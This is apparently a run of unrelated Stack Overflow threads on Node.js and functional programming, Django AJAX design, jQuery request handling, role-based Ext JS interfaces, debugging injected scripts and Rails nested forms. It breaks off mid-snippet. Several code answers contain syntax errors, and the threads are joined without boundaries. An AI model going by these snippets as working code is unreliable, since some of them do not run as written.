Now there's all the hype lately about Node.JS, an event driven framework using Javascript callbacks. To my limited understanding, its primary advantage seems to be that you don't have to wait step by step sequentially (for example, you can fetch the SQL results, while calling other functions too).
So my question is: how is this different, or better than just functional languages, like CL, Haskell, Clojure etc? If not better, then why don't people just do functional languages then (instead of reinventing the wheel with Javascript)?
Please note that I have none experience in either Node.JS nor functional programming. So some basic explanation can be helpful.
Having read through the Node.JS docs (and the nice slide deck), I think the other answers here are missing the point about it: Node.JS is based on the idea that the style of writing programs where we expect them to block on I/O is wrong, and that instead we should initiate I/O (such as reading a database, or reading a socket) and pass along a function to handle the result of the I/O along with the request.
So rather than do this:
var result = db.query("select.."); // blocking
// use result
Node.JS is based on the idea of doing this:
db.query("select..", function (result) {
// use result
});
The authors (of Node.JS) point out that this way of programming is very awkward in many systems as the languages don't have closures or anonymous functions and the libraries are primarily blocking I/O. However, Javascript supplies the former (and programmers are used to it given how JS is used in an event like manner in the browser), and Node.JS fills in the later: being an entirely event driven I/O library with no blocking calls at all.
How does this relate to functional programming? All functional programming languages provide closure constructs powerful enough to do what Node.JS is trying to do with Javascript. Most make it even easier to code, as passing closures is generally fundamental to the language.
As for Haskell, using Monads, this sort of thing could be very easy to construct. For example:
doQuery :: DBConnection -> IO ()
doQuery db = do
rows <- query db "select..."
doSomething rows
doSomethingElse rows
These very sequential, imperative lines of code are actually a sequence of closures under control of the IO monad. It is as if in JavaScript you had written:
db.query("select...", function (rows) {
doSomething(rows, function () {
doSomethingElse(rows, function () { /* done */ })
})
})
In essence, when writing monadic code in a functional language, you already are writing it in the form the Node.JS authors want us to write: Where each step of the sequential computation is passed as a closure to the prior one. However, look how much nicer that code looks in Haskell!
Furthermore, you can easily use concurrent Haskell features to achieve this non-blocking operation easily:
forkQuery :: DBConnection -> IO ThreadId
forkQuery db = forkIO $ do
rows <- query db "select..."
doSomething rows
doSomethingElse rows
Don't confuse that forkIO with the expensive process fork you're used to, or even OS process threads. It is basically the same light weight thread of execution that Node.JS is using (only with somewhat richer semantics). You can have 1,000s of 'em just like Node.JS aims for.
So, in short - I think Node.JS is building on a facility that exists in JavaScript, but that is much more natural in functional languages. Furthermore, I think all the elements that are in Node.JS already exist in Haskell and its packages, and then some. For me, I'd just use Haskell!
I don't really know about Node.JS either, but I don't really see any striking similarity between it (from your description) and functional programming. From your description, Node.JS seems to be aimed at aiding asynchronous programming -- as you state "you don't have to wait step by step sequentially", you can do other tasks as one long-running task does its thing.
Functional programming is completely orthogonal to this -- i.e. it doesn't really have any link to asynchronicity. You can have one without the other, or both together, or neither of them. Functional programming is about eliminating side-effects in your programs, and about allowing functions as first-class members of the language, to be manipulated and composed similarly to other values.
This isn't really "reinventing the wheel." Javascript isn't really a functional language per se, but it was based on Lisp and this is the sort of thing it was designed to do. Javascript is really stronger as a Lisp-ish functional language than it is as an OO language in my opinion. That's why frameworks with strongly functional* designs like jQuery fit the language so well.
(* Note: Not pure, obviously, but functional in much the same way as Scheme.)
I haven't used node.js yet, but I'm definitely interested in it and will be trying it out soon. There are already lots of great answers about functional programming and such here, so I won't go into that.
You ask why not use some other language on the server, such as haskell, Closure, etc. For me, the attraction of node.js over others is that it IS javascript. My applications are already heavy in javascript on the client, so it means I could work in one language on both the server and the client.
My hope is that this will streamline and simplify development because I won't need to be switching contexts so drastically. There might even be some reduction in work if some logic that is used both on client and server could be shared (perhaps form validation code and the like).
Javascript's key role in node as a webserver is that it is largely event driven.
I believe functional programming has advantages for concurrency, due to immutability among other things.
not sure how event driven other functional languages are, just wanted to highlight it as part of the advantages of node.
One of the main benifits with the gap between the client and the server shrinking is the ability to reuse code on the client and the server. For instance if you want to have a rich and dynamic AJAX website for modern browsers and a stripped down version for older browsers you can use the same display code to format incomming data on both the client and the server.
Other benifits with this include the HTML5/Google Gears/Adobe Air ability to have a local storage DB and server to run web apps offline, you can have code that would traditionally be on the server stored locally for when the server is not available.
I am trying to find the optimal architecture for an ajax-heavy Django application I'm currently building. I'd like to keep a consistent way of doing forms, validation, fetching data, JSON message format but find it exceedingly hard to find a solution that can be used consistently.
Can someone point me in the right direction or share their view on best practice?
I make everything as normal views which display normally in the browser. That includes all the replies to AJAX requests (sub pages).
When I want to make bits of the site more dynamic I then use jQuery to do the AJAX, or in this case AJAH and just load the contents of one of the divs in the sub page into the requesting page.
This technique works really well - it is very easy to debug the sub pages as they are just normal pages, and jQuery makes your life very easy using these as part of an AJA[XH]ed page.
I can't think of any standard way to insert ajax into a Django application, but you can have a look to this tutorial.
You will also find more details on django's page about Ajax
Two weeks ago I made a write up how I implement sub-templates to use them in "normal" and "ajax" request (for Django it is the same). Maybe it is helpful for you.
+1 to Nick for pages displaying normally in the browser. That seems to be the best starting point.
The problem with the simplest AJAX approaches, such as Nick and vikingosegundo propose, is that you'll have to rely on the innerHTML property in your Javascript. This is the only way to dump the new HTML sent in the JSON. Some would consider this a Bad Thing.
Unfortunately I'm not aware of a standard way to replicate the display of forms using Javascript that matches the Django rendering. My approach (that I'm still working on) is to subclass the Django Form class so it outputs bits of Javascript along with the HTML from as_p() etc. These then replicate the form my manipulating the DOM.
From experience I know that managing an application where you generate the HTML on the server side and just "insert" it into your pages, becomes a nightmare. It is also impossible to test using the Django test framework. If you're using Selenium or a similar tool, it's ok, but you need to wait for the ajax request to go return so you need tons of sleeps in your test script, which may slow down your test suite.
If the purpose of using the Ajax technique is to create a good user interface, I would recommend going all in, like the GMail interface, and doing everything in the browser with JavaScript. I have written several apps like this using nothing but jQuery, state machines for managing UI state and JSON with ReST on the backend. Django, IMHO, is a perfect match for the backend in this case. There are even third party software for generating a ReST-interface to your models, which I've never used myself, but as far as I know they are great at the simple things, but you of course still need to do your own business logic.
With this approach, you do run into the problem of duplicating code in the JS and in your backend, such as form handling, validation, etc. I have been thinking about solving this with generating structured information about the forms and validation logic which I can use in JS. This could be compiled at deploy-time and be loaded as any other JS file.
Also, avoid XML. The browsers are slow at parsing it, it is a pain to generate and a pain to work with in the browser. Use JSON.
For all the answers to this, I can't believe no one's mentioned django-piston yet. It's mainly promoted for use in building REST APIs, but it can output JSON (which jQuery, among others, can consume) and works just like views in that you can do anything with a request, making it a great option for implementing AJAX interactions (or AJAJ [JSON], AJAH, etc whatever). It also supports form validation.
Im currently testing:
jQuery & backbone.js client-side
django-piston (intermediate layer)
Will write later my findings on my blog http://blog.sserrano.com
I'm trying to do this:
$(window).unload( function () {
$.ajax({
type: "POST",
url: "http://localhost:8888/test.php?",
data: "test",
success: function(msg){
alert( "Data Saved: " + msg );
}
});
alert (c);
});
However, the success alert is never shown, nor does this request seem to be even hitting the server. What am I doing wrong? Thanks!
I believe you need to make the request synchronous instead (it's asynchronous by default) using the async : false parameter.
Try calling it with async = false;
jQuery.ajax({url:"http://localhost:8888/test.php?", async:false})
I just tried it.
Your function and Ajax call look fine, so my guess is that your browser window is closed before ajax call has time to go to the server and back. The ajax call might return something when the window is closing, try adding error function to your ajax call to see if that's the case:
error: function (xhr, textStatus) {
alert('Server error: '+ textStatus);
}
Maybe you'd have more success using the onbeforeunload event instead?
$(window).bind('beforeunload', ...
In Firefox, I use Firebug which allows me to view every http request my ajax calls are making. I've switched over my development to Chrome and am liking it so far. My only complaint, however, is that the developer tools don't seem to allow you to view each ajax request. I've had it happen once where the Resources panel showed multiple requests to the same resource, but it's only done it once and never again.
Is there a way to reliably see every http request that a page is making through javascript from within Chrome?
[Edit:11/30/09 11:55]
Currently, to get around this, I'm running Fiddler next to Chrome to view my requests, but if there's a way to do it from within the browser, I'd prefer that.
I know this is an old thread but I thought I would chime in.
Chrome currently has a solution built in.
Hope that helps.
Phil
The most up-to-date answer to this is: they are listed under the 'Network' button in the developer tools, no longer under 'Resources' like it used to be.
You could use Fiddler which is a good free tool.
I have a problem, when submitting a form all active ajax request fail, and that triggers error event.
How to stop all active ajax requests in jQuery without trigerring error event?
Every time you create an ajax request you could use a variable to store it:
var request = $.ajax({
type: 'POST',
url: 'someurl',
success: function(result){}
});
Then you can abort the request:
request.abort();
You could use an array keeping track of all pending ajax requests and abort them if necessary.
Here's what I'm currently using to accomplish that.
$.xhrPool = [];
$.xhrPool.abortAll = function() {
_.each(this, function(jqXHR) {
jqXHR.abort();
});
};
$.ajaxSetup({
beforeSend: function(jqXHR) {
$.xhrPool.push(jqXHR);
}
});
Note: _.each of underscore.js is present, but obviously not necessary. I'm just lazy and I don't want to change it to $.each(). 8P
I had some problems with andy's code, but it gave me some great ideas. First problem was that we should pop off any jqXHR objects that successfully complete. I also had to modify the abortAll function. Here is my final working code:
$.xhrPool = [];
$.xhrPool.abortAll = function() {
$(this).each(function(idx, jqXHR) {
jqXHR.abort();
});
};
$.ajaxSetup({
beforeSend: function(jqXHR) {
$.xhrPool.push(jqXHR);
}
});
$(document).ajaxComplete(function() {
$.xhrPool.pop();
});
I din't like the ajaxComplete() way of doing thid, but no matter how I tried to configure .ajaxSetup it did not work.
I am planning to use Ext JS for a large application. The application's features are role based. When user login, they only see menu and screen features related to them. My server side technology will be Java & JSP.
To solve this I have two ideas..
1. Create Ext JS related javascript dynamically after the user login using server side technology. The servlet / JSP will create the necessary est js code according to user roles.
2. Have Js variables that are set in view JSPs that will be used to ensure only the right features are available to users.
What is the best way to ensure security and provide role based UI in Ext Js application.
Thanks in advance for you ideas..
Abdel Olakara
I had to solve a similar problem in an application that I currently developed, but permissions are based on user country.
I know you already are, but just to reiterate for the benefit of anyone reading, permissions should always be implemented on the server side and JavaScript security is always secondary. This is because anyone with half a brain can use either a bookmarklet or Firebug to execute arbitrary JavaScript and circumvent your client-side security.
I've found that there are several ways to do this, but there are two approaches in particular that are the most sane. Regardless of the approach, there are two things to consider: 1) what JavaScript to server and how to avoid serving unnecessary logic, and 2) how to avoid executing logic that is not available to the user.
All widgets in my application are lazy loaded via dojo.require, so there was no need to worry about the unnecessary inclusion of JavaScript that wasn't applicable to the user. I am not deeply familiar with the ExtJs library, but as far as I have seen, it doesn't supply a comparable method; however, it is essential a synchronous ajax call followed by an eval. In any case, in this method it is important that component functionality doesn't cross-cut through different files (also, this is generally good design). Each file should be its own class that controls a specific widget or other UI element.
I then set permissions in a server generated JavaScript config class. This class can then be referenced throughout the application for what is and what is not allowed.
For example, the following method controlled access to most of the widgets that were available from global controls.
com.project.frontController.prototype.init = function(widgets) {
var permissions = com.project.config.permissions;
// For each widget in the controller
for ( var i=0, l=widgets.length; i<l; ++i ) {
// If access is restricted to the widget (by id), then disable it.
if ( !permissions[ widgets[i].id ] {
com.project.util.disable(widgets[i].btnAccessNode);
}
// Otherwise, leave it enabled and connect the necessary event handlers.
else {
// connect an onclick handler or whatever is required for the widget
}
}
};
And the config looked something like:
com.project.config.permissions = {
"widgetAbc": {
btnAccessNode: "#some-css-selector",
otherWidgetConfig: "etc"
},
"widgetXyz": {
btnAccessNode: "div.some-css-selector"
}
};
Some applications will compile all of its JavaScript into one file, and then serve it to the client. If your application does such a thing, and you can manage to do this dynamically, all necessary JS can be determined on the server-side before it is served. Of course, this will accrue some overhead; however, you can cache compiled versions by role. If the roles are few, then this cache can be easily primed and it's just a matter of including one specific script.
Since only the allowed JavaScript will be available, simply detecting if the required class/function is available before attempting to execute it is all you need to do for your permissions check.
For example, you script inclusion may look like this:
<script type="text/javascript" src="/js/compiler.php?role=moderator"></script>
And your functionality check would be something like this:
com.project.frontController.prototype.init = function(widgets) {
// For each widget in the controller
for ( var i=0, l=widgets.length; i<l; ++i ) {
// If the widget controller doesn't exist, disable it.
if ( !com.project.util.widgetExists[ widgets[i].id ] {
com.project.util.disable(widgets[i].btnAccessNode);
}
// Otherwise, leave it enabled and connect the necessary event handlers.
else {
// connect an onclick handler or whatever is required for the widget
}
}
};
or
com.project.someWidget.prototype.launchOtherWidget = function() {
if ( typeof otherWidget != "undefined" ) {
(new otherWidget()).open();
}
};
Notice that both methods are very similar in implementation. I would say the best way to make a determination between the two is to consider the size of your codebase, the tools available to you for compiling on the fly, and caching those role-based, compiled packages. For my project, not only was a compiler not available in the environment, but the code base was large (1.3mb inflated/296kb defaulted plus the dojo library), which wasn't acceptable as the client was more interested in maintaining low application load times.
At our company, the jsp loads a configuration object that was created by the server based on the role of the current user. The client side then renders according to that configuration.
It is true that it could be hacked so that the initial object pretends to have more rights than it actually does; however, the hacker would get a security violation on the server when trying to do something he's not allowed to. So basically, the client side logic that applies security is just for the user's benefit, so he doesn't see more than he can. The server side checks (when an action is requested) is what actually enforces security.
First option -- Any person with Firebug and basic know-how can bypass any JS-based security.
Always enforce server side security, hiding controls in the frontend it's not enough.
EDIT
On the client side? well, you can follow any of the advices in the other responses, but the true is that the user can execute arbitrary javascript, modify the page's DOM and do whatever request he want.
Don't bring functionality to the client that the user is not allowed to see. You can load js files dynamically, but your app server must enforce your rules; no role, no JS.
var jsFile = document.createElement('script');
jsFile.setAttribute( "type", "text/javascript" );
jsFile.setAttribute( "src", 'someFileName.js' );
document.getElementsByTagName("head")[0].appendChild(jsFile);
You can use an LDAP or a simpler server-side solution, but (again) don't serve JS to users who have no right to it. On the client, check for the existence of a class (during development create one class per JS file), and do not attempt to create an object when its class is not loaded.
I'm a backend programmer and I wonder about one thing. I know just a little about Javascript. I know the basics when I look at some Javascript code, I understand what code is trying to do. But I have never used it to create animations.
Then I heard about jQuery. Can I be an expert on jQuery without knowing a lot about Javascript?
And how about Ajax? Can I do Ajax animations (search suggestions) just with jQuery and don't have to learn Javascript?
JQuery provides a framework that allows you to create a lot of great features relatively simply but it's still javascript and doesn't release you from the need to have at least a reasonable understanding of javascript to use it.
Javascript is one of those misunderstood languages because it's a scripting language, it's a very powerful and flexible language... learn it and you'll be grateful you did.
Javascript is a language. All modern desktop web browsers support Javascript. But their support differs. That's where jQuery comes in. It's built on top of Javascript and its functions are written in a way so they work with most of these browsers in exactly the same way. So developers don't have to write all-browser-supported javascript code by themselves.
Nontheless, jQuery is still build on top of Javascript. jQuery is a Javascript library. And when you use jQuery, you still write Javascript code. Think of it as additional functions to the existing Javascript functionality. jQuery calls work the same on all browsers and you still use Javascript.
What about Ajax. There's no thing like Ajax animations. There are Javascript/DOM/jQuery animations. They may be triggered by Ajax calls/responses, but they are not Ajax animations. Ajax in itself is a communication facade between your client side (Javascript code) and server side (whatever platform and language is used there).
Animations are done by manipulating HTML DOM elements using Javascript + time. Libraries like jQuery provide the functionality to do this kind of stuff the easy way. Again to make it easier on you. So you don't have to do it by yourself.
So if you want to develop client apps using jQuery it's imperative you become familiar with Javascript. And HTML. And DOM. Ajax is not mandatory. To become really good with jQuery one has to become really profficient in Javascript. Because it's the client language you'll build your app. Using upgrades in the form of jQuery library. jQuery itself uses rather complex parts of Javascript that you'll have to understand to some extent to be able to debug problematic situations in your app.
That's a bit like asking if you can use ASP.NET without learning C# or VB, or if you can use the java.math library without learning Java. jQuery is a library to make make JavaScript programming easier. You still have to write JavaScript to use it.
Ajax and animation are two different things. AJAX (Asynchronous Javascript And XML) is a communication protocol. Animation is the art of making still things appear to move. ;-) Jquery and its associated plugins, Dojo, Script.a.licious and other such libraries include built in animations that you can plug in without understanding the underlying javascript -- however, as everyone else here has said, understanding javascript will make your coding experience much more pleasant and effective.
Don't forget that there are a very large number of answers already available on Stack Overflow that will help you become acquainted with the language (not to mention a large number of experts willing to give even more help.)
I'd recommend starting with some of these questions:
The Hidden Features of Javascript
No
While you can certainly use jQuery without knowing JavaScript, there's absolutely no way to become an "expert" at jQuery without knowing JavaScript.
You'll be fine without a JavaScript background if you just need basic animations, event handlers, and DOM traversal. But being an "expert" at jQuery presumably requires more than that, in which case you'll need to learn JavaScript in order to write clean, elegant, and maintainable jQuery code.
i am a backend programmer
So there is your answer: no, because jQuery is javascript for designers.
edit whoever voted this down really is too serious in life :-)
Learning the ins and outs of Javascript will make your jQuery experience much more pleasureable. Specifically I would recommend looking at Javascript's unusual model for OOP, closures, scoping, namespacing - that sort of thing. It will make life much easier for you.
jQuery is a JavaScript library the way stdlib is a C library, so yes you'll need to know minimal JavaScript as well as basic understanding of CSS/HTML.
However, learning jQuery is probably the best way to learn JavaScript these days, as it takes care of the big hurdles that trip up those new to JavaScript (the DOM and the event model) and makes AJAX a breeze. It also encourages best practices such as unobtrusive JavaScript, as opposed to putting "onclick" everywhere, and forces you to learn about closures. If you're already a programmer, you'll have no problem picking it up.
Yes you can but you will not be able to do complicated stuff which will use pure javascript, because jquery is not everything.
But with the help of the internet and seeing examples, you can do alot.
jQuery in its core is javascript. learning javascript would be good but with jQuery it is not really required.
You need to learn JavaScript, but you don't need to learn the DOM or raw XHR. This is what jQuery saves you from.
From my recent question, I already created some JavaScript function for dynamic loading partial view. So, I can't debug any dynamic loading JavaScript. Because all of loaded JavaScript will be evaluated by "eval" function.
However, I found some way to create new JavaScript by using the following script to dynamically create script into header of current document. All loaded scripts will be displayed in HTML DOM (that you can use any debugger to find it).
var script = document.createElement('script')
script.setAttribute("type","text/javascript")
script.text = "alert('Test!');";
document.getElementsByTagName('head')[0].appendChild(script);
By the way, most debugger (IE8 Developer Toolbar, Firebug and Google Chrome) can?t set breakpoint in any dynamic script. Because debuggable script must be loaded at the first time after page is loaded.
Do you have idea for debugging in dynamic script content or file?
Update 1 - Add sourcecode for testing
You can use the following xhtml file for trying to debug someVariable value.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Dynamic Loading Script Testing</title>
<script type="text/javascript">
function page_load()
{
var script = document.createElement('script')
script.setAttribute("id", "dynamicLoadingScript");
script.setAttribute("type","text/javascript");
script.text = "var someVariable = 0;\n" +
"someVariable = window.outerWidth;\n" +
"alert(someVariable);";
document.getElementsByTagName('head')[0].appendChild(script);
}
</script>
</head>
<body onload="page_load();">
</body>
</html>
From answer, I just test it in FireBug. The result should be displayed like below images.

Please look at "dynamicLoadingScript" script that is added after page load.

But it does not found in script tab of FireBug
Update 2 - Create Debug Breakpoint in dynamic loading script


Both of the above images show inserting "debugger;" statement in some line of script can fire breakpoint in dynamic loading script. However, both debuggers do not show any code at breakpoint. Therefore, it is useless for doing this.
Thanks,
I'm using google chrome for that purpose.
In chrome at scripts tab you can enable 'pause on all exceptions'

And then put somewhere in your code line try{throw ''} catch(e){}. Chrome will stop execution when it reaches this line.
EDIT: modified image so it would be clearer what I'm talking about.
I think you might need to give the eval'd code a "name" like this:
http://blog.getfirebug.com/2009/08/11/give-your-eval-a-name-with-sourceurl/
If you do, I think it's likely the debugger approach from "update 2" should work then.
In Firebug, you should be able to see that script after the page is loaded and the script is injected. When you do, you can set a breakpoint in the appropriate place, and it'll be preserved when you refresh the page.
Try adding a "debugger;" statement in the javascript you're adding dynamically. This should cause it to halt at that line regardless of breakpoint settings.
Dynamicly loaded Javascript still has to be parsed by the browser this is where WebKit, or FireBug debugger is sat so it's subject to the debugger no matter what, i think this is the same for the developer tools in IE8,
So your code is subject is to the debugger so where your getting a problem will not be in that file or text if it does not error
The other thing is script.text = "alert('Test!');"; is not valid so it wont work in all browsers what you want is script.innerHTML = "alert('Test!');";
even though its innerHTML it means code inside the HTML Tags not the HTML inside just the most use people use it for this so it gets explained wrong
EDITED FOR UPDATE TWO
And on Second update using Chrome i did this
go to about:blank Open the console up and past in
var script = document.createElement('script')
script.setAttribute("type","text/javascript")
script.innerHTML = "alert('Test!');debugger;";
document.getElementsByTagName('head')[0].appendChild(script);
then it will break and open the script tab with about:blank shown (nothing to see)
Then on the right hand side show the call stack list, then click on the second (anonymous function) and it will show you.
So on your file you will have a (anonymous function) that is the code your running and you will see the break point in there. so you know your in the right one.
Using Google Chrome (or Safari) Developers Tool, you can run JavaScript line by line.
Developer Tool > Scripts > Choose which script you want to debug > pause sign on the right side Or set breakpoints by click the line number
Using Chrome(12.0.742.112) with the code you provided plus a debugger statement like this
script.text = "debugger;var someVariable = 0;\n" +
"someVariable = window.outerWidth;\n" +
"alert(someVariable);";
works for me.
I need to modify some JavaScript (limiting scope of all jQuery selector to current partial >view div) before execute it.
May its more tangible if you bind the selector change to an event on your partial view instead of creating script elements in the html body ( doesnt feel right ).
You could do something like this
(function(j)(
var limiting_selector = '';
j(".partial_views").bind('focusin over',function(e){
limiting_selector = j(this).attr('someattr') // or j(this).data('limiting-selector')
}).bind('focusout out',function(e){
limiting_selector = '';
});
// And then go on with
// j(limiting_selector+' .someclass')
))(jQuery)
This code would always add a limiting selector to all jQuery select operations done while the mouse is in a certain element given the HTML isnt to messed up.
(Still seems hackerish, may be someone has a better solution)
cheers
You can debug using FIREBUG tool by enabling the script option. You can see the variable values and put break points also
I'm attempting to get over the hurdle of dynamic form fields in Rails -- this appears to be something the framework doesn't handle very gracefully. I'm also using jQuery in my project. I have jRails installed, but I'd much rather write the AJAX code unobtrusively where possible.
My forms are fairly complex, two or three levels of nesting are not unusual. The problem I'm having is generating the correct form ids, since they are so dependant on the form builder context. I need to be able to dynamically add new fields or delete existing records in a has_many relationship, and I am completely at a loss.
Every example I've seen so far has been ugly in one way or another. Ryan Bates' tutorial requires RJS, which results in some pretty ugly obtrusive javascript in the markup, and seems to have been written before nested attributes. I've seen a fork of that example with unobtrusive jQuery, but I just don't understand what it's doing, and haven't been able to get it working in my project.
Can somebody provide a simple example of how this is done? Is this even possible while respecting the RESTful convention of the controllers?
Andy has posted an excellent example of deleting an existing record, can anybody provide an example of creating new fields with the correct attributes? I haven't been able to figure out how to do this with nested forms.
Since nobody has offered an answer to this, even after a bounty, I've finally managed to get this working myself. This wasn't supposed to be a stumper! Hopefully this will be easier to do in Rails 3.0.
Andy's example is a good way of deleting records directly, without submitting a form to the server. In this particular case, what I'm really looking for is a way to dynamically add/remove fields before doing an update to a nested form. This is a slightly different case, because as the fields are removed, they aren't actually deleted until the form is submitted. I will probably end up using both depending on the situation.
I've based my implementation on Tim Riley's complex-forms-examples fork on github.
First set up the models, and make sure they support nested attributes:
class Person < ActiveRecord::Base
has_many :phone_numbers, :dependent => :destroy
accepts_nested_attributes_for :phone_numbers, :reject_if => lambda { |p| p.values.all?(&:blank?) }, :allow_destroy => true
end
class PhoneNumber < ActiveRecord::Base
belongs_to :person
end
Create a partial view for the PhoneNumber's form fields:
<div class="fields">
<%= f.text_field :description %>
<%= f.text_field :number %>
</div>
Next write a basic edit view for the Person model:
<% form_for @person, :builder => LabeledFormBuilder do |f| -%>
<%= f.text_field :name %>
<%= f.text_field :email %>
<% f.fields_for :phone_numbers do |ph| -%>
<%= render :partial => 'phone_number', :locals => { :f => ph } %>
<% end -%>
<%= f.submit "Save" %>
<% end -%>
This will work by creating a set of template fields for the PhoneNumber model that we can duplicate with javascript. We'll create helper methods in app/helpers/application_helper.rb for this:
def new_child_fields_template(form_builder, association, options = {})
options[:object] ||= form_builder.object.class.reflect_on_association(association).klass.new
options[:partial] ||= association.to_s.singularize
options[:form_builder_local] ||= :f
content_tag(:div, :id => "#{association}_fields_template", :style => "display: none") do
form_builder.fields_for(association, options[:object], :child_index => "new_#{association}") do |f|
render(:partial => options[:partial], :locals => { options[:form_builder_local] => f })
end
end
end
def add_child_link(name, association)
link_to(name, "javascript:void(0)", :class => "add_child", :"data-association" => association)
end
def remove_child_link(name, f)
f.hidden_field(:_destroy) + link_to(name, "javascript:void(0)", :class => "remove_child")
end
Now add these helper methods to the edit partial:
<% form_for @person, :builder => LabeledFormBuilder do |f| -%>
<%= f.text_field :name %>
<%= f.text_field :email %>
<% f.fields_for :phone_numbers do |ph| -%>
<%= render :partial => 'phone_number', :locals => { :f => ph } %>
<% end -%>
<p><%= add_child_link "New Phone Number", :phone_numbers %></p>
<%= new_child_fields_template f, :phone_numbers %>
<%= f.submit "Save" %>
<% end -%>
You now have the js templating done. It will submit a blank template for each association, but the :reject_if clause in the model will discard them, leaving only the user-created fields. Update: I've rethought this design, see below.
This isn't truly AJAX, since there isn't any communication going on to the server beyond the page load and form submit, but I honestly could not find a way to do it after the fact.
In fact this may provide a better user experience than AJAX, since you don't have to wait for a server response for each additional field until you're done.
Finally we need to wire this up with javascript. Add the following to your `public/javascripts/application.js' file:
$(function() {
$('form a.add_child').click(function() {
var association = $(this).attr('data-association');
var template = $('#' + association + '_fields_template').html();
var regexp = new RegExp('new_' + association, 'g');
var new_id = new Date().getTime();
$(this).parent().before(template.replace(regexp, new_id));
return false;
});
$('form a.remove_child').live('click', function() {
var hidden_field = $(this).prev('input[type=hidden]')[0];
if(hidden_field) {
hidden_field.value = '1';
}
$(this).parents('.fields').hide();
return false;
});
});
By this time you should have a barebones dynamic form! The javascript here is really simple, and could easily be done with other frameworks. You could easily replace my application.js code with prototype + lowpro for instance. The basic idea is that you're not embedding gigantic javascript functions into your markup, and you don't have to write tedious phone_numbers=() functions in your models. Everything just works. Hooray!
After some further testing, I've concluded that the templates need to be moved out of the <form> fields. Keeping them there means they get sent back to the server with the rest of the form, and that just creates headaches later.
I've added this to the bottom of my layout:
<div id="jstemplates">
<%= yield :jstemplates %>
</div
And modified the new_child_fields_template helper:
def new_child_fields_template(form_builder, association, options = {})
options[:object] ||= form_builder.object.class.reflect_on_association(association).klass.new
options[:partial] ||= association.to_s.singularize
options[:form_builder_local] ||= :f
content_for :jstemplates do
content_tag(:div, :id => "#{association}_fields_template", :style => "display: none") do
form_builder.fields_for(association, options[:object], :child_index => "new_#{association}") do |f|
render(:partial => options[:partial], :locals => { options[:form_builder_local] => f })
end
end
end
end
Now you can remove the :reject_if clauses from your models and stop worrying about the templates being sent back.
Based on your answer to my comment I think handling deletion unobtrusively is a good place to start. I'll use Product with scaffolding as an example, but the code will be generic so it should be easy to use in your application.
First add a new option to your route:
map.resources :products, :member => { :delete => :get }
And now add a delete view to your Product views:
<% title "Delete Product" %>
<% form_for @product, :html => { :method => :delete } do |f| %>
<h2>Are you sure you want to delete this Product?</h2>
<p>
<%= submit_tag "Delete" %>
or <%= link_to "cancel", products_path %>
</p>
<% end %>
This view will only be seen by users with JavaScript disabled.
In the Products controller you'll need to add the delete action.
def delete
Product.find(params[:id])
end
Now go to your index view and change the Destroy link to this:
<td><%= link_to "Delete", delete_product_path(product), :class => 'delete' %></td>
If you run the app at this point and view the list of products you'll be able to delete a product, but we can do better for JavaScript enabled users. The class added to the delete link will be used in our JavaScript.
This will be a rather large chunk of JavaScript, but it's important to focus on the code that deals with making the ajax call - the code in the ajaxSend handler and the 'a.delete' click handler.
(function() {
var originalRemoveMethod = jQuery.fn.remove;
jQuery.fn.remove = function() {
if(this.hasClass("infomenu") || this.hasClass("pop")) {
$(".selected").removeClass("selected");
}
originalRemoveMethod.apply(this, arguments);
}
})();
function isPost(requestType) {
return requestType.toLowerCase() == 'post';
}
$(document).ajaxSend(function(event, xhr, settings) {
if (isPost(settings.type)) {
settings.data = (settings.data ? settings.data + "&" : "") + "authenticity_token=" + encodeURIComponent( AUTH_TOKEN );
}
xhr.setRequestHeader("Accept", "text/javascript, application/javascript");
});
function closePop(fn) {
var arglength = arguments.length;
if($(".pop").length == 0) { return false; }
$(".pop").slideFadeToggle(function() {
if(arglength) { fn.call(); }
$(this).remove();
});
return true;
}
$('a.delete').live('click', function(event) {
if(event.button != 0) { return true; }
var link = $(this);
link.addClass("selected").parent().append("<div class='pop delpop'><p>Are you sure?</p><p><input type='button' value='Yes' /> or <a href='#' class='close'>Cancel</a></div>");
$(".delpop").slideFadeToggle();
$(".delpop input").click(function() {
$(".pop").slideFadeToggle(function() {
$.post(link.attr('href').substring(0, link.attr('href').indexOf('/delete')), { _method: "delete" },
function(response) {
link.parents("tr").fadeOut(function() {
$(this).remove();
});
});
$(this).remove();
});
});
return false;
});
$(".close").live('click', function() {
return !closePop();
});
$.fn.slideFadeToggle = function(easing, callback) {
return this.animate({opacity: 'toggle', height: 'toggle'}, "fast", easing, callback);
};
Here's the CSS you'll need too:
.pop {
background-color:#FFFFFF;
border:1px solid #999999;
cursor:default;
display: none;
position:absolute;
text-align:left;
z-index:500;
padding: 25px 25px 20px;
margin: 0;
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
}
a.selected {
background-color:#1F75CC;
color:white;
z-index:100;
}
We need to send along the auth token when we make POST, PUT or DELETE. Add this line under your existing JS tag (probably in your layout):
<%= javascript_tag "var AUTH_TOKEN = #{form_authenticity_token.inspect};" if protect_against_forgery? -%>
Almost done. Open up your Application controller and add these filters:
before_filter :correct_safari_and_ie_accept_headers
after_filter :set_xhr_flash
And the corresponding methods:
protected
def set_xhr_flash
flash.discard if request.xhr?
end
def correct_safari_and_ie_accept_headers
ajax_request_types = ['text/javascript', 'application/json', 'text/xml']
request.accepts.sort!{ |x, y| ajax_request_types.include?(y.to_s) ? 1 : -1 } if request.xhr?
end
We need to discard flash messages if it's an ajax call - otherwise you'll see flash messages from the "past" on your next regular http request. The second filter is also required for webkit and IE browsers - I add these 2 filters to all of my Rails projects.
All that's left is the destroy action:
def destroy
@product.destroy
flash[:notice] = "Successfully destroyed product."
respond_to do |format|
format.html { redirect_to redirect_to products_url }
format.js { render :nothing => true }
end
end
And there you have it. Unobtrusive deleting with Rails. It seems like a lot of work all typed out, but it's really not that bad once you get going. You might be interested in this Railscast too.
By the way. rails has changed a bit so you can not longer use _delete, now use _destroy.
def remove_child_link(name, f)
f.hidden_field(:_destroy) + link_to(name, "javascript:void(0)", :class => "remove_child")
end
Also I found it easier to just remove html that is for new records... so i do this
$(function() {
$('form a.add_child').click(function() {
var association = $(this).attr('data-association');
var template = $('#' + association + '_fields_template').html();
var regexp = new RegExp('new_' + association, 'g');
var new_id = new Date().getTime();
$(this).parent().before(template.replace(regexp, new_id));
return false;
});
$('form a.remove_child').live('click', function() {
var hidden_field = $(this).prev('input[type=hidden]')[0];
if(hidden_field) {
